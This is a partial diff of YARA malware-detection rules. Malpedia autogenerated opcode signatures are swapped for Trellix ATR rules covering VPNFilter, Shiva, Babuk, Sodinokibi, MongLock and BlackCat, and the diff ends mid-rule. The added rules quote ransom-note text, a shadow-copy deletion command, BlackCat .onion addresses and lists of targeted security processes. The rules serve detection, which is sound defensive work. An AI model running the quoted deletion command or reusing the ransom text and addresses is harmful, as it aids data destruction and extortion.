-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "ADWARE, FILE"
+		rule_version = "v1"
+		malware_type = "adware"
+		malware_family = "Adware:W32/BrowserFox"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { be01000000 8bc6 e9???????? 4803c9 488b6cca08 4885ed 74e7 }
-		$sequence_1 = { c3 4533c0 418d5002 8d4a15 ff15???????? 4883f8ff }
-		$sequence_2 = { e9???????? 488d0d823e0300 4889bc24a0000000 e8???????? 488bf8 4885c0 7508 }
-		$sequence_3 = { ff15???????? 488b742460 4885db 7409 488bcb ff15???????? 8bc7 }
-		$sequence_4 = { 80b85011000001 488d152cc40400 488d0d4dc40400 480f45d1 488bc8 e8???????? 488bf8 }
-		$sequence_5 = { 8d5001 8d4838 ff15???????? 488bf8 4885c0 7508 8d471b }
-		$sequence_6 = { f20f1101 e9???????? 0f57c0 f2480f2a87100b0000 f20f1101 e9???????? 0f57c0 }
-		$sequence_7 = { bf05000000 8bc7 eb53 bf02000000 8bc7 eb4a 664183f804 }
-		$sequence_8 = { 85c0 742e 0fbe03 4c8d156f8ffdff 83c0e0 83f85a 0f8765020000 }
-		$sequence_9 = { e8???????? 488b8f50070000 4885c9 7469 ff15???????? 488983d0060000 4885c0 }
+		$pdb = "\\Utilities\\130ijkfv.o4g\\Desktop\\Desktop.OptChecker\\bin\\Release\\ BooZaka.Opt"
 
 	condition:
-		7 of them and filesize <995328
+		uint16(0)==0x5a4d and filesize <800KB and any of them
 }
-rule MALPEDIA_Win_Lethic_Auto : FILE
+rule TRELLIX_ARC_Vpnfilter : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "89881c0c-ddd2-5773-9144-03db6590b3cc"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lethic_auto.yar#L1-L121"
-		license_url = "N/A"
-		logic_hash = "3125ec39e54752d0947a08a6149f6c0dbb19d9ccd38ebef90b278b6227c3cc5c"
+		description = "Filter for 2nd stage malware used in VPNfilter attack"
+		author = "Christiaan Beek @ McAfee Advanced Threat Research"
+		id = "89bd7f94-d73c-5c5c-a3ec-0331f79e61fd"
+		date = "2018-05-23"
+		modified = "2020-08-14"
+		reference = "https://blog.talosintelligence.com/2018/05/VPNFilter.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_VPNfilter.yar#L1-L40"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387"
+		logic_hash = "88f08765dff632f0c08e985181309e5c3ac9cdaa51d05d8485c411fb1a183cca"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/VPNfilter"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 837df400 7507 33c0 e9???????? 8b55f4 8b4218 }
-		$sequence_1 = { 33c0 e9???????? 8b45fc 8b4d10 894804 }
-		$sequence_2 = { 50 8b4dfc 83c108 51 8b55f4 }
-		$sequence_3 = { 8b45fc 8b08 894dfc ebec 8b55fc }
-		$sequence_4 = { eb42 6a10 8b55fc 83c208 52 }
-		$sequence_5 = { ebec 8b55fc 8b45f4 8b08 890a 8b55fc }
-		$sequence_6 = { 8945fc c745f801000000 837dfc00 7507 33c0 e9???????? 8b45fc }
-		$sequence_7 = { 3b55f8 7411 8b45fc c60000 }
-		$sequence_8 = { 8b08 890a 8b55fc 8b02 8945fc 8b4df4 51 }
-		$sequence_9 = { eb42 6a10 8b55fc 83c208 52 8b45fc 8b4818 }
+		$s1 = "id-at-postalAddress" fullword ascii
+		$s2 = "/bin/shell" fullword ascii
+		$s3 = "/DZrtenNLQNiTrM9AM+vdqBpVoNq0qjU51Bx5rU2BXcFbXvI5MT9TNUhXwIDAQAB" fullword ascii
+		$s4 = "Usage does not match the keyUsage extension" fullword ascii
+		$s5 = "id-at-postalCode" fullword ascii
+		$s6 = "vTeY4KZMaUrveEel5tWZC94RSMKgxR6cyE1nBXyTQnDOGbfpNNgBKxyKbINWoOJU" fullword ascii
+		$s7 = "id-ce-extKeyUsage" fullword ascii
+		$s8 = "/f8wYwYDVR0jBFwwWoAUtFrkpbPe0lL2udWmlQ/rPrzH/f+hP6Q9MDsxCzAJBgNV" fullword ascii
+		$s9 = "/etc/config/hosts" fullword ascii
+		$s10 = "%s%-18s: %d bits" fullword ascii
+		$s11 = "id-ce-keyUsage" fullword ascii
+		$s12 = "Machine is not on the network" fullword ascii
+		$s13 = "No XENIX semaphores available" fullword ascii
+		$s14 = "No CSI structure available" fullword ascii
+		$s15 = "Name not unique on network" fullword ascii
 
 	condition:
-		7 of them and filesize <81920
+		( uint16(0)==0x457f and filesize <500KB and (8 of them )) or ( all of them )
 }
-rule MALPEDIA_Win_Yty_Auto : FILE
+rule TRELLIX_ARC_Unpacked_Shiva_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02d4730a-30ed-52fc-baae-eabe1247d262"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yty_auto.yar#L1-L501"
-		license_url = "N/A"
-		logic_hash = "379d5918b4988ca6f478472e8b6e04b973c7dd65b7661d4073d168551cfe004f"
+		description = "Rule to detect an unpacked sample of Shiva ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "c6cd4421-216f-5c1f-bb8d-fc8ab00bb72d"
+		date = "2018-09-05"
+		modified = "2020-08-14"
+		reference = "https://twitter.com/malwrhunterteam/status/1037424962569732096"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Shiva.yar#L1-L37"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "299bebcb18e218254960ef96c2e65a4dc1945dcdfe9fc68550022f99a474f56d"
+		logic_hash = "8a6a1d9f3b75617d8f07489ecf2867f90ddcf9fbe1db1e7c0f5c26833f88be3f"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 66
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Shiva"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f840c000000 8365d8fe 8b7508 e9???????? }
-		$sequence_1 = { 8d45f4 64a300000000 8b7508 33ff 897dd8 }
-		$sequence_2 = { 8975e0 85c9 7407 8b11 8b4204 ffd0 c745fc00000000 }
-		$sequence_3 = { 668910 8bc6 5b 8be5 5d c20400 }
-		$sequence_4 = { ffd2 8b8568ffffff 8b08 8b5108 50 }
-		$sequence_5 = { eb69 8a1402 2ad1 8bfe 80ea13 }
-		$sequence_6 = { 6a00 8d4508 c746140f000000 c7461000000000 }
-		$sequence_7 = { 750c 680e000780 e8???????? 33ff c745fcffffffff }
-		$sequence_8 = { 80ea04 b904000000 eb23 8b5508 397d1c 7303 }
-		$sequence_9 = { 85c0 52 0f95c3 ffd6 }
-		$sequence_10 = { 2ad1 8bfe 80ea04 b901000000 e9???????? }
-		$sequence_11 = { 40 3b4610 0f82dbfeffff 397d1c }
-		$sequence_12 = { 83c40c 8d8de8fdffff 51 53 53 }
-		$sequence_13 = { 8b4e10 397e14 7211 8a1402 8b3e }
-		$sequence_14 = { 894608 8945fc 56 c745f001000000 }
-		$sequence_15 = { 8bcf e8???????? 8b0e 8b5104 8b443238 }
-		$sequence_16 = { 53 50 e8???????? 83c40c 8d8de8fdffff }
-		$sequence_17 = { 7303 8d5508 8b4e10 397e14 7214 }
-		$sequence_18 = { 8bfe 8a1402 2ad1 80ea13 33c9 881407 }
-		$sequence_19 = { 8b4c3138 33db 895de8 885def 8975e0 }
-		$sequence_20 = { 807def00 8b5de8 7503 83cb02 8b16 8b4a04 }
-		$sequence_21 = { c0ea02 8ac4 80e20f c0e004 }
-		$sequence_22 = { 8b07 eb02 8bc7 8b4de0 }
-		$sequence_23 = { 8b4c1938 895dd4 85c9 7405 8b01 ff5004 c745fc00000000 }
-		$sequence_24 = { 8b85c4f5ffff 50 e8???????? 83c404 8d95c0f5ffff 33c9 52 }
-		$sequence_25 = { 8bcc 8975f4 50 e8???????? ff7510 8d4dd4 }
-		$sequence_26 = { 762a 8b4d08 8b5108 8a8210a04600 2c01 8845ff 8b4d08 }
-		$sequence_27 = { 68???????? ff15???????? 3bf4 e8???????? 8bf4 8b4594 50 }
-		$sequence_28 = { b9???????? e8???????? 51 8d8d90bcf0ff }
-		$sequence_29 = { 6bf630 8b0c8d60cb4300 80643128fd 5f }
-		$sequence_30 = { 8bec 8b4508 8bc8 83e01f c1f905 8b0c8da0244300 }
-		$sequence_31 = { 83e61f 8d3c8da0244300 8b0f c1e606 833c0eff 7535 833d????????01 }
-		$sequence_32 = { c745e401000000 e9???????? c745e000000000 8b15???????? a1???????? 01d0 }
-		$sequence_33 = { ff15???????? 85c0 0f85e3020000 68???????? 50 50 ff15???????? }
-		$sequence_34 = { 8b4804 8d4190 89840df0b8f0ff 8d8d04b9f0ff e8???????? 8b85f4b8f0ff 8b4004 }
-		$sequence_35 = { 0f851f040000 8d853cfeffff 83c01c 890424 }
-		$sequence_36 = { 8b4d0c 83e13f 6bd130 8b048500b04600 }
-		$sequence_37 = { 3bf4 e8???????? 8bf4 8b8574fcffff 50 ff15???????? 3bf4 }
-		$sequence_38 = { 01ca 0fb612 89d1 8b550c 01ca 8810 }
-		$sequence_39 = { 740c c785d4ddffffac084500 eb0a c785d4ddffffd4d44400 8b85a4ddffff 50 }
-		$sequence_40 = { 8b4508 890424 e8???????? 8945d8 837dd800 0f847a050000 }
-		$sequence_41 = { e8???????? c78562feffff00000000 8d8566feffff b960000000 bb00000000 }
-		$sequence_42 = { 8d8da8efffff e8???????? 50 8d8dd0efffff e8???????? 8d8da8efffff e9???????? }
-		$sequence_43 = { e8???????? 83ec0c 8d8ddcfbffff 0f1000 0f1105???????? f30f7e4010 }
-		$sequence_44 = { f3ab c745f800000000 c745d400000000 8b450c }
-		$sequence_45 = { e8???????? c78324020000ffffffff c78328020000ffffffff 83c414 5b }
-		$sequence_46 = { 56 53 83ec14 8b5c2420 e8???????? 85db c70000000000 }
-		$sequence_47 = { e9???????? 8975e4 33c0 39b880f94200 }
-		$sequence_48 = { 750c c785bcddffff60084500 eb0a c785bcddffffd4d44400 b802000000 }
-		$sequence_49 = { 83e63f c1ff06 6bf630 8b04bd60cb4300 f644302880 741f e8???????? }
-		$sequence_50 = { 8d15f0224100 e8???????? 58 5a }
-		$sequence_51 = { 83e826 89c2 a1???????? c744240800000000 89542404 890424 e8???????? }
-		$sequence_52 = { 0f87b1030000 ff24bd41574200 8b41e4 3b42e4 7478 0fb642e4 0fb671e4 }
-		$sequence_53 = { 57 897de8 ff15???????? 8bd0 8955ec c645fc01 c746140f000000 }
-		$sequence_54 = { c745dc03000000 eb7c c745e088044300 ebbb d9e8 }
+		$s1 = "c:\\Users\\sys\\Desktop\\v 0.5\\Shiva\\Shiva\\obj\\Debug\\shiva.pdb" fullword ascii
+		$s2 = "This email will be as confirmation you are ready to pay for decryption key." fullword wide
+		$s3 = "Your important files are now encrypted due to a security problem with your PC!" fullword wide
+		$s4 = "write.php?info=" fullword wide
+		$s5 = " * Do not try to decrypt your data using third party software, it may cause permanent data loss." fullword wide
+		$s6 = " * Do not rename encrypted files." fullword wide
+		$s7 = ".compositiontemplate" fullword wide
+		$s8 = "You have to pay for decryption in Bitcoins. The price depends on how fast you write to us." fullword wide
+		$s9 = "\\READ_IT.txt" fullword wide
+		$s10 = ".lastlogin" fullword wide
+		$s11 = ".logonxp" fullword wide
+		$s12 = " * Decryption of your files with the help of third parties may cause increased price" fullword wide
+		$s13 = "After payment we will send you the decryption tool that will decrypt all your files." fullword wide
 
 	condition:
-		7 of them and filesize <1097728
+		( uint16(0)==0x5a4d and filesize <800KB) and all of them
 }
-rule MALPEDIA_Win_Innaput_Rat_Auto : FILE
+rule TRELLIX_ARC_Ransom_Babuk : RANSOM T1027 T1083 T1057 T1082 T1129 T1490 T1543_003 FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bdbf07bd-d4a4-5362-b354-c606ef8af022"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.innaput_rat_auto.yar#L1-L115"
-		license_url = "N/A"
-		logic_hash = "f6067a2a0e56ef408d96b72de49c1461531d24eb998121258442401a90d43684"
+		description = "Rule to detect Babuk Locker"
+		author = "TS @ McAfee ATR"
+		id = "7c0a3b4e-90aa-5442-aa5e-1a7fcae9bec8"
+		date = "2021-01-19"
+		modified = "2021-02-24"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_BabukLocker_Jan2021.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "e10713a4a5f635767dcd54d609bed977"
+		logic_hash = "123cebd1c2e66f3e91ee235cb9288df63dfaeba02e6df45f896cb50f38851a8f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOM, T1027, T1083, T1057, T1082, T1129, T1490, T1543.003, FILE"
+		rule_version = "v2"
+		malware_family = "Ransom:Win/Babuk"
+		malware_type = "Ransom"
+		mitre_attack = "T1027, T1083, T1057, T1082, T1129, T1490, T1543.003"
 
 	strings:
-		$sequence_0 = { e8???????? 59 85c0 7427 ffb720060000 }
-		$sequence_1 = { ffd7 8b4510 898618060000 8b4514 8b00 }
-		$sequence_2 = { 8b06 894710 ff7604 035e08 ff5708 56 ff5708 }
-		$sequence_3 = { 8d7710 eb02 8b36 391e 75fa 6a0c }
-		$sequence_4 = { 8945fc ff15???????? 33db 395f10 }
-		$sequence_5 = { ff15???????? ffb718060000 ff15???????? 85c0 }
-		$sequence_6 = { 8b460c 83f8ff 7404 3bc3 751b }
-		$sequence_7 = { eb02 8b36 391e 75fa 6a0c ff5704 59 }
-		$sequence_8 = { 83f8ff 7404 3bc3 751b }
-		$sequence_9 = { b001 ebd3 55 8bec }
+		$s1 = {005C0048006F007700200054006F00200052006500730074006F0072006500200059006F00750072002000460069006C00650073002E007400780074}
+		$s2 = "delete shadows /all /quiet" fullword wide
+		$pattern1 = {006D656D74617300006D65706F63730000736F70686F730000766565616D0000006261636B7570000047785673730000004778426C7200000047784657440000004778435644000000477843494D67720044656657617463680000000063634576744D67720000000063635365744D677200000000536176526F616D005254567363616E0051424643536572766963650051424944505365727669636500000000496E747569742E517569636B426F6F6B732E46435300}
+		$pattern2 = {004163725363683253766300004163726F6E69734167656E74000000004341534144324457656253766300000043414152435570646174655376630000730071}
+		$pattern3 = {FFB0154000C78584FDFFFFB8154000C78588FDFFFFC0154000C7858CFDFFFFC8154000C78590FDFFFFD0154000C78594FDFFFFD8154000C78598FDFFFFE0154000C7859CFDFFFFE8154000C785A0FDFFFFF0154000C785A4FDFFFFF8154000C785A8FDFFFF00164000C785ACFDFFFF08164000C785B0FDFFFF10164000C785B4FDFFFF18164000C785B8FDFFFF20164000C785BCFDFFFF28164000C785C0FDFFFF30164000C785C4FDFFFF38164000C785C8FDFFFF40164000C785CCFDFFFF48164000C785D0FDFFFF50164000C785D4FDFFFF581640}
+		$pattern4 = {400010104000181040002010400028104000301040003810400040104000481040005010400058104000601040006C10400078104000841040008C10400094104000A0104000B0104000C8104000DC104000E8104000F01040000011400008114000181140002411400038114000501140005C11400064114000741140008C114000A8114000C0114000E0114000F4114000101240002812400034124000441240005412400064124000741240008C124000A0124000B8124000D4124000EC1240000C1340002813400054134000741340008C134000A4134000C4134000E8134000FC134000141440003C144000501440006C144000881440009C144000B4144000CC144000E8144000FC144000141540003415400048154000601540007815}
 
 	condition:
-		7 of them and filesize <73728
+		filesize >=15KB and filesize <=90KB and 1 of ($s*) and 3 of ($pattern*)
 }
-rule MALPEDIA_Win_Bruh_Wiper_Auto : FILE
-{
-	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8004678f-c7f1-56db-b368-30e9334ba4b0"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bruh_wiper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bruh_wiper_auto.yar#L1-L119"
-		license_url = "N/A"
-		logic_hash = "26b32a2c0d923fc99fb91e4beb18e36e72d9c523fef8bdb0bb63ddd5fd11ff5a"
+import "pe"
+
+rule TRELLIX_ARC_Sodinokobi : RANSOMWARE
+{
+	meta:
+		description = "This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future."
+		author = "McAfee ATR team"
+		id = "dd05ce31-9699-50a9-944c-5883340791af"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Sodinokibi.yar#L33-L54"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "f25039ac743223756461bbeeb349c674473608f9959bf3c79ce4a7587fde3ab2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Sodinokibi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		version = "1.0"
 
 	strings:
-		$sequence_0 = { e8???????? 83c40c be01080000 0f1f8000000000 }
-		$sequence_1 = { 83ee01 75e3 8b4dfc 5f 5e }
-		$sequence_2 = { 8d45f4 57 50 ff15???????? ff15???????? }
-		$sequence_3 = { 68b40200c0 ffd6 8b4dfc 5f 33cd 5e }
-		$sequence_4 = { 6a00 8d85f8fdffff 50 6800020000 8d85fcfdffff 50 }
-		$sequence_5 = { 68???????? 57 ffd3 6800020000 8d85fcfdffff 6a00 }
-		$sequence_6 = { 50 ffd6 8bf0 8d45fb 50 6a00 6a01 }
-		$sequence_7 = { 6800200000 68???????? 57 ffd3 6800020000 8d85fcfdffff }
-		$sequence_8 = { e8???????? 83c40c be01080000 0f1f8000000000 6a00 }
-		$sequence_9 = { 50 ffd6 68???????? 68???????? 8bf8 }
+		$a = { 40 0F B6 C8 89 4D FC 8A 94 0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84 0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF }
+		$b = { 0F B6 C2 03 C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88 08 40 89 45 14 8B 45 FC 83 EB 01 75 AA }
 
 	condition:
-		7 of them and filesize <65536
+		all of them
 }
-rule MALPEDIA_Win_Remcos_Auto : FILE
+rule TRELLIX_ARC_Ransom_Monglock : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0b71eaff-61b4-55ab-a8af-3cf13e03dd61"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remcos_auto.yar#L1-L113"
-		license_url = "N/A"
-		logic_hash = "d80be2f75bdd44294476100f6767031142d9f2872cceaebec5f1ed9745e8779f"
+		description = "Ransomware encrypting Mongo Databases "
+		author = "Christiaan Beek - McAfee ATR team"
+		id = "4350a874-dd76-5379-af9f-f1d190385706"
+		date = "2019-04-25"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_MONGOLOCK.yar#L1-L41"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "245a7377a410828ed8bc7148f36af6d143ad20d16840238ed5b6d6f94f015984"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/MongLock"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash5 = "c4de2d485ec862b308d00face6b98a7801ce4329a8fc10c63cf695af537194a8"
 
 	strings:
-		$sequence_0 = { 7410 6a00 ff35???????? ff15???????? }
-		$sequence_1 = { 50 ff15???????? 8d45f0 33f6 }
-		$sequence_2 = { 6a09 ff35???????? ff15???????? ff35???????? ff15???????? }
-		$sequence_3 = { 8d45f8 50 ff15???????? ff7508 }
-		$sequence_4 = { 7508 ff15???????? 33c0 5f }
-		$sequence_5 = { 6a09 ff35???????? ff15???????? ff35???????? }
-		$sequence_6 = { ff15???????? 50 ff15???????? 8d45f0 33f6 }
-		$sequence_7 = { 50 6a28 ff15???????? 50 ff15???????? 8d45f0 33f6 }
-		$sequence_8 = { 51 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? }
-		$sequence_9 = { 85c0 7410 6a00 ff35???????? ff15???????? }
+		$x1 = "C:\\Windows\\system32\\cmd.exe" fullword wide
+		$s1 = "and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! " fullword ascii
+		$s2 = "Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.1 BTC to our BitCoin" ascii
+		$s3 = "No valid port number in connect to host string (%s)" fullword ascii
+		$s4 = "SOCKS4%s: connecting to HTTP proxy %s port %d" fullword ascii
+		$s5 = "# https://curl.haxx.se/docs/http-cookies.html" fullword ascii
+		$s6 = "Connection closure while negotiating auth (HTTP 1.0?)" fullword ascii
+		$s7 = "detail may be available in the Windows System event log." fullword ascii
+		$s8 = "Found bundle for host %s: %p [%s]" fullword ascii
+		$s9 = "No valid port number in proxy string (%s)" fullword ascii
+		$op0 = { 50 8d 85 78 f6 ff ff 50 ff b5 70 f6 ff ff ff 15 }
+		$op1 = { 83 fb 01 75 45 83 7e 14 08 72 34 8b 0e 66 8b 45 }
+		$op2 = { c7 41 0c df ff ff ff c7 41 10 }
 
 	condition:
-		7 of them and filesize <1054720
+		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Appleseed_Auto : FILE
+rule TRELLIX_ARC_Ransom_Win_Blackcat : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5111027d-aef3-530a-baef-816a96e705d5"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.appleseed_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "a810d449fba9d18767008ae79deb61edb7dc0a7b0fedfb1cf50aff52e06540b9"
+		description = "Detecting variants of Windows BlackCat malware"
+		author = " Trellix ATR"
+		id = "65483ffb-6b10-5fd5-8a5f-fc885a5f2e98"
+		date = "2022-01-06"
+		modified = "2022-01-19"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Win_BlackCat_public.yar#L2-L24"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "8faad28ab26690221f6e2130c886446615dbd505f76490cfaf999d130d0de6e3"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		malware_type = "Ransomware"
+		detection_name = "Ransom_Win_BlackCat"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 448bc6 442bc0 488b442450 488d0d65d30100 488b0cc1 4c8d4c244c 488d9520060000 }
-		$sequence_1 = { 4c89b590000000 c6858000000000 4883bde000000010 720c 488b8dc8000000 e8???????? 8bc7 }
-		$sequence_2 = { 90 488d4db8 e8???????? 48833d????????00 0f84b10c0000 }
-		$sequence_3 = { 488bcb ff15???????? ff15???????? 33ff 8bf0 0f1f8000000000 ff15???????? }
-		$sequence_4 = { 90 488d4db8 e8???????? 48833d????????00 0f84c0040000 488d157e170200 488d4db8 }
-		$sequence_5 = { 488bce ff15???????? 4885c0 7411 83caff 488bc8 }
-		$sequence_6 = { e9???????? 488d8af0000000 e9???????? 488b8a60000000 e9???????? 488d8a10010000 e9???????? }
-		$sequence_7 = { 0f8490000000 85db 0f8488000000 41880f 4b8b84e900670300 4183caff 4103da }
-		$sequence_8 = { 48ffc7 803c3a00 75f7 488d4c2450 4c8bc7 e8???????? 488d4c2450 }
-		$sequence_9 = { 48895dc8 c645b800 41b838000000 488d15b81d0200 488d4db8 e8???????? 90 }
+		$URL1 = "zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide
+		$URL2 = "mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide
+		$API = { 3a 7c d8 3f }
 
 	condition:
-		7 of them and filesize <497664
+		uint16(0)==0x5a4d and filesize <3500KB and 1 of ($URL*) and $API
 }
-rule MALPEDIA_Win_Tonedeaf_Auto : FILE
+rule TRELLIX_ARC_Screenlocker_Acroware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
